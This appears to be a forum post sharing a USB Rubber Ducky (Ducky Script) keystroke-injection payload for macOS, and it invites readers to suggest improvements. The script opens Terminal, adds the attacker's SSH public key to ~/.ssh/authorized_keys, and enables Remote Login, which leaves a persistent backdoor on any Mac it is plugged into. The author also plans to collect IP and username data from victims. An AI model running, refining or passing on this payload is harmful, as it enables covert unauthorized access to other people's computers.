This is just an addon to an older script. I added in the enabling of remote login, first i had to enable the keyboard shortcuts so that you could do that. I also create the ssh directories and the proper permissions for them. Eventually im going install the twin duck firmware and grab some ip and username info as well let me know what you think and if you can think of improvements
REM Replace 'ssh-rsa' with your public key and have fun
REM code by ESC
DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING mkdir ~/.ssh/
DELAY 30
ENTER
STRING chmod 700 ~/.ssh
DELAY 30
ENTER
STRING echo 'ssh-rsa' >> ~/.ssh/authorized_keys
DELAY 1500
ENTER
STRING chmod 600 ~/.ssh/authorized_keys
ENTER
DELAY 100
STRING killall Terminal
ENTER
CONTROL F7
COMMAND SPACE
DELAY 100
STRING remote login
DELAY 100
ENTER
DELAY 75
TAB
TAB
SPACE
COMMAND Q